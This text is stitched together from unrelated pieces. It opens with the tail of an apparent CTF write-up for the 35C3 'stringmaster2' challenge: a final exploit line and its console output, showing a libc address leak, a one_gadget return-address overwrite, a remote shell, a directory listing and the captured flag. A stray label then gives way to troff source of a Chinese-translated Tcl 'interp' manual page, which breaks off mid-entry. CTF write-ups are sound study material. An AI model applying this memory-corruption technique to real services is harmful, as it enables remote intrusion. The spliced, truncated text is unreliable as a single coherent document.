p.interactive()
```
The output:
```console
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/stringmaster2/stringmaster2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/media/sf_CTFs/35c3ctf/stringmaster2/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.207.132.47 on port 22225: Done
[*] String 1: fiwxkmqfdr
[*] String 2: akchuqvtth
[*] Replacing 'a' and 'a'
Before modification:
00000000 66 69 77 78 6b 6d 71 66 64 72 00 00 00 00 00 00 │fiwx│kmqf│dr··│····│
00000010 20 8d 60 bb fd 7f 00 00 05 00 00 00 00 00 00 00 │ ·`·│····│····│····│
00000020 70 72 69 6e 74 00 65 00 71 26 71 dd 11 56 00 00 │prin│t·e·│q&q·│·V··│
00000030 00 00 00 00 00 00 00 00 00 be ae 7a 78 b2 1c 75 │····│····│···z│x··u│
00000040 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000050 90 26 71 dd 11 56 00 00 30 12 71 dd 11 56 00 00 │·&q·│·V··│0·q·│·V··│
00000060 60 8e 60 bb fd 7f 00 00 00 00 00 00 00 00 00 00 │`·`·│····│····│····│
00000070 00 00 00 00 00 00 00 00 fb 25 71 dd 11 56 00 00 │····│····│·%q·│·V··│
00000080 00 00 00 00 00 00 00 00 97 4b 1e d9 08 7f 00 00 │····│····│·K··│····│
00000090 90 ff ff ff ff ff ff ff 68 8e 60 bb fd 7f 00 00 │····│····│h·`·│····│
000000a0 90 ff ff ff 01 00 00 00 e1 25 71 dd 11 56 00 00 │····│····│·%q·│·V··│
000000b0 00 00 00 00 00 00 00 00 3a 8a c0 67 96 3f 3f f2 │····│····│:··g│·??·│
000000c0 30 12 71 dd 11 56 00 00 60 8e 60 bb fd 7f 00 00 │0·q·│·V··│`·`·│····│
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000e0 3a 8a c0 31 b5 f3 e7 a1 3a 8a 7e bc 48 37 0d a0 │:··1│····│:·~·│H7··│
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000100 00 00 00 00 00 00 00 00 33 57 b6 d9 08 7f 00 00 │····│····│3W··│····│
00000110 b8 52 b4 d9 08 7f 00 00 7a 59 26 00 00 00 00 00 │·R··│····│zY&·│····│
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000130 00 00 00 00 00 00 00 00 30 12 71 dd 11 56 00 00 │····│····│0·q·│·V··│
00000140 60 8e 60 bb fd 7f 00 00 5a 12 71 dd 11 56 00 00 │`·`·│····│Z·q·│·V··│
00000150 58 8e 60 bb fd 7f 00 00 1c 00 00 00 00 00 00 00 │X·`·│····│····│····│
00000160 01 00 00 00 00 00 00 00 46 af 60 bb fd 7f 00 00 │····│····│F·`·│····│
00000170 00 00 00 00 00 00 00 00 54 af 60 bb fd 7f 00 00 │····│····│T·`·│····│
00000180 6a af 60 bb fd 7f 00 00 75 af 60 bb fd 7f 00 00 │j·`·│····│u·`·│····│
00000190 80 af 60 bb fd 7f 00 00 c2 af 60 bb fd 7f 00 00 │··`·│····│··`·│····│
000001a0 c8 af 60 bb fd 7f 00 00 00 00 00 00 00 00 00 00 │··`·│····│····│····│
000001b0 21 00 00 00 00 00 00 00 00 10 78 bb fd 7f 00 00 │!···│····│··x·│····│
000001c0 10 00 00 00 00 00 00 00 ff fb 8b 1f 00 00 00 00 │····│····│····│····│
000001d0 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│
000001e0 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│
000001f0 03 00 00 00 00 00 00 00 40 00 71 dd 11 56 00 00 │····│····│@·q·│·V··│
00000200 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│8···│····│
00000210 05 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 │····│····│····│····│
00000220 07 00 00 00 00 00 00 00 00 50 b5 d9 08 7f 00 00 │····│····│·P··│····│
00000230 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000240 09 00 00 00 00 00 00 00 30 12 71 dd 11 56 00 00 │····│····│0·q·│·V··│
00000250 0b 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000260 0c 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000270 0d 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000280 0e 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000290 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002a0 19 00 00 00 00 00 00 00 f9 8f 60 bb fd 7f 00 00 │····│····│··`·│····│
000002b0 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002c0 1f 00 00 00 00 00 00 00 e9 af 60 bb fd 7f 00 00 │····│····│··`·│····│
000002d0 0f 00 00 00 00 00 00 00 09 90 60 bb fd 7f 00 00 │····│····│··`·│····│
000002e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002f0 00 00 00 00 00 00 00 00 00 12 be ae 7a 78 b2 1c │····│····│····│zx··│
00000300 75 70 15 ba 42 0e 2f 1d 45 78 38 36 5f 36 34 00 │up··│B·/·│Ex86│_64·│
00000310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00001000
[*] libc_base: 0x7f08d91c3000
[*] one_gadget address: 0x7f08d92122c5
[*] Replacing 'f' and ''
[*] Swapping index 0 and 120
[*] Replacing '' and '"'
[*] Swapping index 0 and 121
[*] Replacing '%' and '!'
[*] Swapping index 0 and 122
[*] Replacing 'q' and ''
[*] Swapping index 0 and 123
[*] Replacing '' and '
[*] Swapping index 0 and 124
[*] Replacing '\x11' and '\x7f'
[*] Swapping index 0 and 125
[*] Replacing 'V' and '\x00'
[*] Swapping index 0 and 126
[*] Replacing '\x00' and '\x00'
[*] Swapping index 0 and 127
After modification:
00000000 00 69 77 78 6b 6d 71 66 64 72 00 00 00 00 00 00 │·iwx│kmqf│dr··│····│
00000010 20 8d 60 bb fd 7f 00 00 05 00 00 00 00 00 00 00 │ ·`·│····│····│····│
00000020 70 72 69 6e 74 00 65 00 71 26 71 dd 11 56 00 00 │prin│t·e·│q&q·│·V··│
00000030 00 00 00 00 00 00 00 00 00 be ae 7a 78 b2 1c 75 │····│····│···z│x··u│
00000040 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000050 90 26 71 dd 11 56 00 00 30 12 71 dd 11 56 00 00 │·&q·│·V··│0·q·│·V··│
00000060 60 8e 60 bb fd 7f 00 00 00 00 00 00 00 00 00 00 │`·`·│····│····│····│
00000070 00 00 00 00 00 00 00 00 c5 22 21 d9 08 7f 00 00 │····│····│·"!·│····│
00000080 00 00 00 00 00 00 00 00 97 4b 1e d9 08 7f 00 00 │····│····│·K··│····│
00000090 90 ff ff ff ff ff ff ff 68 8e 60 bb fd 7f 00 00 │····│····│h·`·│····│
000000a0 90 ff ff ff 01 00 00 00 e1 25 71 dd 11 56 00 00 │····│····│·%q·│·V··│
000000b0 00 00 00 00 00 00 00 00 3a 8a c0 67 96 3f 3f f2 │····│····│:··g│·??·│
000000c0 30 12 71 dd 11 56 00 00 60 8e 60 bb fd 7f 00 00 │0·q·│·V··│`·`·│····│
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000e0 3a 8a c0 31 b5 f3 e7 a1 3a 8a 7e bc 48 37 0d a0 │:··1│····│:·~·│H7··│
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000100 00 00 00 00 00 00 00 00 33 57 b6 d9 08 7f 00 00 │····│····│3W··│····│
00000110 b8 52 b4 d9 08 7f 00 00 7a 59 26 00 00 00 00 00 │·R··│····│zY&·│····│
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000130 00 00 00 00 00 00 00 00 30 12 71 dd 11 56 00 00 │····│····│0·q·│·V··│
00000140 60 8e 60 bb fd 7f 00 00 5a 12 71 dd 11 56 00 00 │`·`·│····│Z·q·│·V··│
00000150 58 8e 60 bb fd 7f 00 00 1c 00 00 00 00 00 00 00 │X·`·│····│····│····│
00000160 01 00 00 00 00 00 00 00 46 af 60 bb fd 7f 00 00 │····│····│F·`·│····│
00000170 00 00 00 00 00 00 00 00 54 af 60 bb fd 7f 00 00 │····│····│T·`·│····│
00000180 6a af 60 bb fd 7f 00 00 75 af 60 bb fd 7f 00 00 │j·`·│····│u·`·│····│
00000190 80 af 60 bb fd 7f 00 00 c2 af 60 bb fd 7f 00 00 │··`·│····│··`·│····│
000001a0 c8 af 60 bb fd 7f 00 00 00 00 00 00 00 00 00 00 │··`·│····│····│····│
000001b0 21 00 00 00 00 00 00 00 00 10 78 bb fd 7f 00 00 │!···│····│··x·│····│
000001c0 10 00 00 00 00 00 00 00 ff fb 8b 1f 00 00 00 00 │····│····│····│····│
000001d0 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│
000001e0 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│
000001f0 03 00 00 00 00 00 00 00 40 00 71 dd 11 56 00 00 │····│····│@·q·│·V··│
00000200 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│8···│····│
00000210 05 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 │····│····│····│····│
00000220 07 00 00 00 00 00 00 00 00 50 b5 d9 08 7f 00 00 │····│····│·P··│····│
00000230 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000240 09 00 00 00 00 00 00 00 30 12 71 dd 11 56 00 00 │····│····│0·q·│·V··│
00000250 0b 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000260 0c 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000270 0d 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000280 0e 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000290 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002a0 19 00 00 00 00 00 00 00 f9 8f 60 bb fd 7f 00 00 │····│····│··`·│····│
000002b0 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002c0 1f 00 00 00 00 00 00 00 e9 af 60 bb fd 7f 00 00 │····│····│··`·│····│
000002d0 0f 00 00 00 00 00 00 00 09 90 60 bb fd 7f 00 00 │····│····│··`·│····│
000002e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002f0 00 00 00 00 00 00 00 00 00 12 be ae 7a 78 b2 1c │····│····│····│zx··│
00000300 75 70 15 ba 42 0e 2f 1d 45 78 38 36 5f 36 34 00 │up··│B·/·│Ex86│_64·│
00000310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00001000
[*] Quitting...
[*] Switching to interactive mode
You lost.
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
stringmaster2
sys
tmp
usr
var
$ cat flag.txt
35C3_fb23c497dbbf35b0f13b9d16311fa59cf8ac1b02
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 35.207.132.47 port 22225
[*] Got EOF while sending in interactive
```
The flag: 35C3_fb23c497dbbf35b0f13b9d16311fa59cf8ac1b02
|
sec-knowleage
|
'\"
'\" Copyright (c) 1995-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: interp.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: interp.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH interp 3tcl 7.6 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
interp \- 建立和操纵 Tcl 解释器
.SH "总览 SYNOPSIS"
\fBinterp \fIoption \fR?\fIarg arg ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令建立一个或多个新的 Tcl 解释器,并使其与建立(它们的)解释器在相同的应用中共存。建立解释器的解释器叫做主解释器(\fImaster\fR)而新解释器叫做从解释器(\fIslave\fR)。主解释器可以建立任意数目的从解释器,每个从解释器也可以自己建立增添的从解释器而成为它们的主解释器,这将导致解释器的一个等级层次(hierarchy)。
.PP
每个解释器相对其他解释器是独立的: 它有给命令、过程、和全局变量的自己的名字空间。一个主解释器可以使用叫别名(\fIalias\fR)的机制建立它的从解释器与它自身间的连接。别名是在一个从解释器中的一个命令,调用它时,导致在它的主解释器或其他从解释器中调用一个命令。解释器之间的唯一其他连接是通过环境变量(\fBenv\fR 变量),它通常被在这个应用中的所有解释器共享。注意给文件的名字空间(比如由 \fBopen\fR命令返回的名字)不在解释器之间共享。提供显式的命令来共享文件和把到打开文件的引用从一个解释器转换(transfer)到另一个。
.PP
\fBinterp\fR命令还提供对安全(\fIsafe\fR)解释器的支持。一个安全解释器是一个功能被严格限制了的从解释器,这样就可以执行不可信任的脚本而不用害怕它们毁坏其他解释器或这个应用的环境。例如,安全解释器不能访问所有 IO 通道建立命令和子过程建立命令。
.VS
详情参见下面的 SAFE INTERPRETERS (安全的解释器) 章节。未从安全的解释器中去除有危险的功能;但是,它们是隐藏的,所以只有可信任的解释器可以获得到它们的访问。隐藏命令的详细解释请参见下面的 HIDDEN COMMANDS (隐藏命令) 章节。可以使用别名机制来在从解释器和它的主解释器之间进行受保护的通信(类似于一个内核调用)。别名机制工作的详情参见下面的 ALIAS INVOCATION (别名调用)章节。
.VE
.PP
一个限定的(qualified)解释器的名字是一个适当的 Tcl 列表,它包含在这个解释器层次中它的祖先的一个子集,终结于以它的直接上级(immediate)主解释器命名的字符串。解释器名字是相对于在其中使用它的哪个解释器的。例如,如果 \fBa\fR 是当前解释器的一个从解释器并且它有一个从解释器 \fBa1\fR,它依次有一个从解释器 \fBa11\fR,在\fBa\fR 中 \fBa11\fR 的限定的名字是列表 \fBa1 a11\fR。
.PP
下面描述的 \fBinterp\fR命令接受限定的解释器名字作为参数;命令在其中求值的解释器总是可以作为 \fB{}\fR来引用(空列表或字符串)。注意除了通过别名之外,在一个从解释器中不可能通过名字引用一个主(祖先)解释器。还有,没有通过它可以引用在应用中建立的第一个解释器的全局名字。这两种限制的目的都是为了安全。
.VS
.SH "INTERP 命令 COMMAND"
.PP
.VE
使用 \fBinterp\fR 命令建立、删除、和操纵从解释器,并在解释器之间共享或转换通道。依赖于 \fIoption\fR 参数,它可以有下列一些形式:
.TP
\fBinterp\fR \fBalias\fR \fIsrcPath\fR \fIsrcCmd\fR
返回一个 Tcl 列表,它的元素是与叫做 \fIsrcCmd\fR的别名有关的 \fItargetCmd\fR 和 \fIarg\fRs(在建立别名时指定所有这些值;在从解释器中实际的源命令如果被重命名的话可能与 \fIsrcCmd\fR 不同)。
.TP
\fBinterp\fR \fBalias\fR \fIsrcPath\fR \fIsrcCmd\fR \fB{}\fR
删除在从解释器中用 \fIsrcPath \fR标识的给 \fIsrcCmd\fR 的别名。\fIsrcCmd\fR 引用在其下建立别名的名字;如果 源命令已经被重命名,则删除重命名后的命令。
.TP
\fBinterp\fR \fBalias\fR \fIsrcPath\fR \fIsrcCmd\fR \fItargetPath\fR \fItargetCmd \fR?\fIarg arg ...\fR?
这个命令在一个从解释器和其他解释器之间建立一个别名(关于在一个从解释器和它的主解释器之间建立别名请参见下面的 \fBalias\fR 从命令)。在这个命令中,两个从解释器可以在调用这个命令的解释器底下的解释器层次中的任何位置。\fISrcPath\fR和 \fIsrcCmd\fR 标识这个别名的来源。\fISrcPath\fR 是一个 Tcl 列表,它的元素选择一个特定的解释器。例如,“\fBa b\fR”标识一个解释器 \fBb\fR,它是解释器 \fBa\fR 的一个从解释器,\fBa\fR解释器是调用(命令)的解释器的一个从解释器。一个空列表指定调用这个命令的解释器。\fIsrcCmd\fR给出一个新命令的名字,将在源解释器中建立它。\fITargetPath\fR和 \fItargetCmd\fR 指定一个目标解释器和命令,和 \fIarg\fR 参数,如果有的话,给 \fItargetCmd \fR指定增补的参数,它们在 \fIsrcCmd\fR 调用中指定的所有参数的前面。\fITargetCmd\fR在这个调用的时候可以被取消定义(undefine)了,或者它已经存在了;它不由这个命令来建立。别名安排在源解释器中调用给定源命令的时候在目标解释器中调用给定目标命令。详情参见下面的 ALIAS INVOCATION (别名调用)章节。
.TP
\fBinterp\fR \fBaliases \fR?\fIpath\fR?
这个命令返回给在用 \fIpath \fR表示的解释器中定义的别名的所有源命令的名字一个 Tcl 列表。
.TP
\fBinterp\fR \fBcreate \fR?\fB\-safe\fR? ?\fB\-\|\-\fR? ?\fIpath\fR?
建立用 \fIpath\fR 标识的一个从解释器和叫做从命令(\fIslave command\fR)的一个新命令。从命令的名字是 \fIpath\fR的最后一个成员。在其中建立新的从解释器和从命令的解释器由从 \fIpath\fR 中去除最后一个成员所获得的路径来标识。例如,如果 \fIpath \fR是\fI \fR\fBa b c\fR 则一个新的从解释器和叫做 \fBc\fR的从命令建立在用路径 \fBa b \fR标识的从解释器中。可以使用从命令先下面描述的那样操纵新解释器。如果省略了 \fIpath\fR, Tcl 建立 \fBinterp\fR\fIx \fR形式的一个唯一的名字,这里的 \fIx\fR是一个整数,并用于解释器和从命令。如果指定了 \fB-safe\fR开关(或者主解释器是一个安全解释器),新的从解释器将建立成功能有限的一个安全解释器;否则从解释器将包含 Tcl 内置命令和变量的全集。使用 \fB\-\|\-\fR 开关来标记开关的结束;如果路径是象 \fB-safe\fR 这样的一个特殊的值的时候需要这个开关。这个命令的结果是新解释器的名字。一个从解释器的名字在它的主解释器的所有从解释器中必须是唯一的;如果在这个主解释器中用给定名字(标识)的一个从解释器已经存在则发生一个错误。
.TP
\fBinterp\fR \fBdelete \fR?\fIpath ...?\fR
删除用可选的 \fIpath\fR 参数给出的零个或多个解释器,并且对于每个解释器,它还删除它的所有从解释器。这个命令还删除给每个被删除的解释器的从命令。对于每个 \fIpath\fR 参数,如果叫这个名字的解释器不存在,这个名字将引发一个错误。
.TP
\fBinterp\fR \fBeval\fR \fIpath arg \fR?\fIarg ...\fR?
这个命令用与 \fBconcat\fR命令相同的方式串联所有的 \fIarg\fR 参数,接着在用 \fIpath \fR标识的解释器中把结果字符串作为一个 Tcl 脚本来求值。把这个求值的结果(如果发生错误的话,包括象 \fBerrorInfo\fR和 \fBerrorCode\fR 变量这样的错误信息)返回给调用(命令)的解释器。
.TP
\fBinterp exists \fIpath\fR
如果在这个主解释器中存在用 \fIpath\fR 指定的从解释器则返回 \fB1\fR,否则返回 \fB0\fR。如果省略了 \fIpath\fR,使用调用(命令)的解释器。
.VS "" BR
.TP
\fBinterp expose \fIpath\fR \fIhiddenName\fR ?\fIexposedCmdName\fR?
在用 \fIpath \fR表示(denote)的解释器中,使隐藏的命令 \fIhiddenName\fR 暴露(expose),最终把它带回在一个新的\fIexposedCmdName\fR 名字之下(目前只接受没有任何:: 的一个全局名字空间名字)。如果有目标名字的一个暴露的命令已经存在,这个命令失败。隐藏命令的详情参见下面的HIDDEN COMMANDS (隐藏命令)章节。
.TP
\fBinterp\fR \fBhide\fR \fIpath\fR \fIexposedCmdName\fR ?\fIhiddenCmdName\fR?
在用 \fIpath \fR表示(denote)的解释器中,使暴露的命令 \fIexposedCmdName\fR 隐藏,并把它重命名成隐藏命令 \fIhiddenCmdName\fR,如果未给出
\fIhiddenCmdName\fR 则保持相同的名字。如果有目标名字的一个隐藏的命令已经存在,这个命令失败。目前 \fIexposedCmdName\fR 和 \fIhiddenCmdName\fR二者不能不能包含名字空间限定符,否则将引发一个错误。即使当前名字空间不是全局名字空间,仍在全局名字空间中查找要被 \fBinterp hide\fR隐藏的命令。这防止从解释器通过使当前的名字空间不同于全局名字空间(的方式),来愚弄主解释器去隐藏错误的命令。隐藏命令的详情参见下面的HIDDEN COMMANDS (隐藏命令)章节。
.TP
\fBinterp\fR \fBhidden\fR \fIpath\fR
返回在用 \fIpath\fR 标识的解释器中所有隐藏命令的名字的一个列表。
.TP
\fBinterp\fR \fBinvokehidden\fR \fIpath\fR ?\fB-global\fR? \fIhiddenCmdName\fR ?\fIarg ...\fR?
在由 \fIpath\fR 表示的解释器中用提供的参数调用隐藏命令 \fIhiddenCmdName\fR 。对参数不(进行)替换或求值。如果存在 \fB-global\fR 标志,在目标解释器的全局层次上调用隐藏命令;否则在当前的调用框架 (frame)上调用它并且可以访问调用框架内部和外部的局部变量。隐藏命令的详情请参见下面的HIDDEN COMMANDS (隐藏命令)章节。
.VE
.TP
\fBinterp issafe\fR ?\fIpath\fR?
如果由 \fIpath\fR 指定的解释器是安全的则返回 \fB1\fR,否则返回 \fB0\fR。
.VS "" BR
.TP
\fBinterp marktrusted\fR \fIpath\fR
标记用 \fIpath\fR 标识的解释器是可信任的。不暴露隐藏命令。这个命令只能在可信任的解释器中调用。如果由 \fIpath\fR标识的解释器已经是可信任的,则这个命令没有影响。
.VE
.TP
\fBinterp\fR \fBshare\fR \fIsrcPath channelId destPath\fR
在用 \fIsrcPath\fR 标识的解释器和用 \fIdestPath \fR标识的解释器之间导致用 \fIchannelId\fR标识的 IO 通道变成共享的。两个解释器在这个 IO通道上由相同的权限。两个解释器必须关闭它来关闭低层的 IO 通道;在销毁一个解释器的时候自动关闭在这个解释器中可访问的 IO 通道。
.TP
\fBinterp\fR \fBslaves\fR ?\fIpath\fR?
返回与用 \fIpath \fR标识的解释器相关的所有从解释器的名字的一个 Tcl 列表。如果省略了 \fIpath\fR,使用调用(命令)的解释器。
.TP
\fBinterp\fR \fBtarget\fR \fIpath alias\fR
返回描述给一个别名的目标解释器的一个 Tcl 列表。用一个解释器路径和源命令名指定这个别名, 就象在上面的 \fBinterp alias\fR 中那样。目标解释器的名字被返回为相对于调用(命令)的解释器的一个解释器路径。如果给这个别名的目标解释器是调用(命令)的解释器则返回一个空列表。如果给别名的目标解释器不是调用(命令)的解释器或是它的后代之一则生成一个错误。在调用这个命令的时候目标命令不是必须定义的。
.TP
\fBinterp\fR \fBtransfer\fR \fIsrcPath channelId destPath\fR
导致用 \fIchannelId\fR 标识的 IO 通道,在用 \fIdestPath\fR 标识的解释器中变成可获得的,而在用 \fIsrcPath \fR标识的解释器中变成不可获得的。
.SH "SLAVE 命令 COMMAND"
.PP
对于每个用 \fBinterp\fR 建立的从解释器,在主解释器中建立名字与这个新解释器相同的一个新 Tcl 命令。可以使用这个命令调用在这个解释器上的各种操作。它有下面的一般形式:
.CS
\fIslave command \fR?\fIarg arg ...\fR?
.CE
\fISlave\fR 是解释器的名字,\fIcommand\fR 和 \fIarg\fRs确定这个命令的具体行为。这个命令有效形式有:
.TP
\fIslave \fBaliases\fR
返回一个 Tcl 列表,它的元素是在 \fIslave \fR中的所有别名的名字。返回的名字是建立别名时使用的 \fIsrcCmd\fR 的值(如果它们已经被重命名,则它可以同这个命令的当前的名字不相同)。
.TP
\fIslave \fBalias \fIsrcCmd\fR
返回一个 Tcl 列表,它的元素是与叫做 \fIsrcCmd\fR 的别名相关的 \fItargetCmd\fR 和 \fIarg\fRs(在建立这个别名的时候指定所有这些值;在从解释器中的实际的源命令如果被重命令则可能与 \fIsrcCmd\fR不同)。
.TP
\fIslave \fBalias \fIsrcCmd \fB{}\fR
